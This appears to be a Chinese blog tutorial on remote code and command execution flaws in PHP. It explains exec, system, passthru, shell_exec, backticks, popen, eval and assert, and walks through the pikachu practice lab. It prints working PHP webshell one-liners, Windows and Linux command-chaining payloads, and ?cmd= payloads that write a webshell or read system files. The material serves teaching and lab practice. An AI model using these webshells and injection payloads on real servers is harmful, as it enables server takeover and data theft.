什么是RCE?

RCE(Remote Code Execution)远程代码执行漏洞(有时也叫命令执行漏洞)是一种安全漏洞,攻击者可以利用它来执行远程代码,从而控制受影响的系统。这种漏洞通常出现在应用程序或软件中,攻击者可以通过输入恶意构造的指令或数据,使得应用程序或软件在执行时执行攻击者指定的代码。

RCE的范围比较广,只要渗透的最终结果可以实现执行命令或者代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE,通常情况下RCE漏洞都可以归为高危漏洞!

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

命令执行漏洞:

纠结RCE和命令执行漏洞有什么区别没有太多意义,两者最终的目的都是执行恶意命令,一方认为命令执行漏洞勉强可以算是RCE的子集.

应用程序有时需要调用一些执行系统命令的函数,比如php中的system、exec、shell_exec等,当用户调用这些函数时,就可以将恶意系统命令拼接到正常命令中,从而在执行正常命令的同时执行恶意系统命令,这就是命令执行漏洞。-----通常情况下,只看网页的源代码是很难发现命令执行漏洞的,需要我们通过审计后台源代码来进行有效捕捉,这就需要我们有一定的代码审计能力.

命令执行漏洞:直接调用操作系统命令

命令执行漏洞的出现通常是由于以下原因之一:

  1. 输入验证不足:如果应用程序或系统没有对用户输入进行充分的验证和过滤,攻击者便可以通过输入恶意构造的指令或数据来绕过安全措施,导致命令执行漏洞。
  2. 权限提升:在某些情况下,攻击者可以利用其他漏洞(如权限提升漏洞)来获得更高的权限,从而利用命令执行漏洞来执行任意命令。
  3. 安全更新漏洞:在应用程序或系统进行安全更新后,如果没有正确地处理更新产生的漏洞,可能会导致新的命令执行漏洞。

下面一方就以PHP命令执行漏洞为例,来为大家深入讲解命令执行漏洞

命令执行漏洞--常见函数

(1)exec:

在PHP中,exec函数是一个用于执行外部命令的函数。它允许你在PHP脚本中执行系统命令,并返回命令执行的最后一行内容,命令执行失败时返回false

<?php
echo exec($_POST['cmd']);
?>

<?php
print exec($_POST['cmd']);
?>

 如下图,在网站根目录下创建一个shell.php的文件,作用就是执行并显示通过GET方法传递的命令

 

 通过浏览器访问shell.php,由于没有指定参数cmd,页面回显了报错信息:

 命令whoami被成功执行并回显在页面上:

 但需要注意的是,执行的系统命令的结果只有最后一行会被输出:

(2)system:

与exec类似,system函数也是一个用于执行外部命令并返回输出的函数。但是它接受一个命令字符串作为参数,并在命令执行后将所有结果作为一个字符串返回。如果 PHP 运行在服务器模块中,system() 函数还会尝试在输出完毕之后,自动刷新 web 服务器的输出缓存,如果执行失败则返回false

 如图,system将结果整体作为一个字符串返回:

 (3)passthru:

passthru是PHP中的一个函数,用于执行指定的外部命令,并将标准输出直接发送到输出缓冲区。这意味着,当passthru函数被调用时,它将执行指定的命令,并将命令的输出直接返回给调用者,而不需要等待命令执行完毕。

passthru函数会立即执行指定的命令,并将命令的标准输出直接发送到当前脚本的输出缓冲区。这意味着调用passthru函数后,命令的输出将立即显示在屏幕上,而不会被缓存或延迟输出。由于passthru函数会立即执行命令并返回输出,因此它通常用于需要快速获取命令执行结果的场景。

例如当执行的 Unix 命令输出二进制数据,并且需要直接传送到浏览器的时候,就需要用此函数

(4)shell_exec

通过 shell 执行命令并将完整的输出以字符串的方式返回

(5)反引号 backquote

实际上,shell_exec() 函数是反撇号 (`) 操作符的变体:

反撇号(也叫反引号)在TAB键的上方,键盘的左上角

在PHP中,反撇号(`)操作符被用来通过shell执行系统命令,并将该命令的输出结果作为字符串返回。这是一种特殊的字符串类型,被称为反引号字符串。

使用反撇号操作符可以将一个系统命令包裹在反引号字符串中,然后PHP会执行这个命令,并将输出结果作为字符串返回。这样,就可以在PHP代码中方便地执行系统命令,并获取其输出结果进行进一步处理或显示。

需要注意的是,反撇号操作符在执行命令时是阻塞的,也就是说,命令执行完毕后才会返回结果。因此,如果执行的命令需要较长时间才能完成,就需要考虑使用其他方式来执行命令

<?php
echo `whoami`;
?>

(6)popen()、proc_open()

这两个函数不会直接返回执行结果,而是返回一个文件指针(通过文件指针就可对它所指的文件进行各种操作),命令已经执行了:

<?php popen('whoami >>D:/2.txt','r'); ?>

 命令执行工作原理:

 一般出现这种漏洞,是因为应用程序从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上

假如在某个防火墙中有一个允许用户进行Ping操作的web页面,当用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。然而,如果设计者在构建该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,最终控制整个后台服务器!

 命令执行漏洞的利用条件:

应用调用了执行系统命令的函数
将用户输入作为系统命令的参数拼接到了命令行中
没有对用户输入进行过滤或过滤不严

 命令执行漏洞的漏洞分类:

代码层过滤不严:

商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用

系统的漏洞造成命令注入:

bash破壳漏洞(CVE-2014-6271)

调用的第三方组件存在代码执行漏洞

如WordPress中用来处理图片的ImageMagick组件

JAVA中的命令执行漏洞(struts2等)

             ThinkPHP命令执行;

 命令执行漏洞的利用方式:

最主要的一个利用方式就是通过操作系统的特殊命令来"拼接"命令:

Windows中的特殊符号:
|         直接执行后面的语句ping 127.0.0.1lwhoami
||        前面出错执行后面的,需要前面的语句为假ping 2 || whoami
&        whoami前面的语句为假则直接执行后面的,前面可真可假ping 127.0.0.1&whoami

&&      前面的语句为假则直接出错,后面的也不执行,前面

           必须为真  

ping 127.0.0.1&&whoami
Linux中的特殊符号:
       前面的执行完执行后面的ping 127.0.0.1 ; whoami
|        管道符,显示后面的执行结果ping 127.0.0.1 l whoami
||        当前面的执行出错时执行后面的ping 1 ll whoami
       前面的语句为假则直接执行后面的,前面可真可假ping 127.0.0.1 & whoami
&&        前面的语句为假则直接出错,后面的也不执行,前面只能为真ping 127.0.0.1 && whoami

 pikachu靶场演练:

exec"ping":

这里以pikachu靶场的RCE栏目为例:

如图,这里提供了一个PING接口,可以用于执行ping 命令:(这里的中文显示成乱码了(◎﹏◎))

 现在先试试127.0.0.1 | whoami:(这里传输到服务器上的就是 ping 127.0.0.1 | whoami 由于是windows系统,最终直接执行了whoami,ping命令被忽略)

 再试试 127abc || whoami : (此时ping 127abc为假,后面的whoami为真,结果就是先显示报错信息,再返回whoami的结果)

 

 其他常见的利用方式(各种POC的补充)

1.获取webshell的一句话木马:

一、直接获取webshell

?cmd=echo “<?php @eval($_REQUEST[q]); ?>” > C:\phpstudy\PHPTutorial\WWW\webshell.php

二、显示当前路径

?cmd=cd
查看当前路径

三、读文件

?cmd=type c:\windows\system32\drivers\etc\hosts
查看系统的hosts文件

四、写文件

?cmd=echo "<?php phpinfo(); ?>" > C:\shell.php

 代码执行漏洞:

代码执行漏洞:将用户输入的字符串当作代码执行

命令执行与代码执行有什么区别吗?

1. 涉及到的函数不同
#####################################
2. 执行的方式不同:
    命令执行:一般指执行操作系统命令
    远程代码执行:一般指执行脚本代码
命令执行漏洞和代码执行漏洞是不同类型的漏洞,
但它们都是由于安全措施不足或程序设计错误导致的。
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
————————————————————————————————————————————————————————————————————————————
命令执行漏洞是指攻击者通过在程序或系统中插入恶意命令,利用程序或系统的漏洞,
执行未经授权的命令,从而获得系统权限。这种漏洞通常出现在操作系统或应用程序中,
攻击者可以利用该漏洞执行各种恶意操作,如窃取、修改或删除数据等。

代码执行漏洞则是指攻击者通过在程序中插入恶意代码,利用程序中的漏洞,
执行未经授权的代码。这种漏洞通常出现在应用程序的源代码中,
攻击者可以利用该漏洞执行各种恶意代码,如病毒、蠕虫等。

 代码执行漏洞的主要来源:

应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。远程代码执行实际上就是调用服务器网站代码进行执行

常见的能够将字符串转换为代码的函数有:

 其中PHP 中的assert函数受到php的版本限制,在php7.0.29之后的版本不支持动态调用

低版本:

<?php
assert($_POST['code']);
?>

 7.0.29版之后:

<?php
$a='assert';
$a(phpinfo());
?>

 最后再补充一个${},在此中间的PHP代码会被解析:${phpinfo()};

pikachu靶场演练:

  exec"eval":

这个更简单,输入想要执行的PHP代码即可,这里输入"phpinfo();":

 

 发现pikachu将语句的执行结果回显在页面上:

 再来尝试更复杂一点儿的,创建一个文件并写入一句话木马:

fputs(fopen('shell.php','w'),'<?php assert($_POST[a]);?>');

 fputs() 函数写入文件,是 fwrite() 函数的别名,

fopen() 函数打开文件或者 URL,“w”:写入方式打开,如果文件不存在则尝试创建之.

 靶场服务器中成功出现我们创建的木马文件(这里文件只出现了片刻就被"杀毒"了┗( T﹏T )┛):

 接下来查看一下靶场的源代码,可以发现这里没有对用户的输入进行任何校验:

 小结:

总的来说,命令执行漏洞主要的利用对象是常用的系统命令,而代码执行漏洞的利用对象主要是那些能够接收字符串并将其当作代码执行的函数。

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐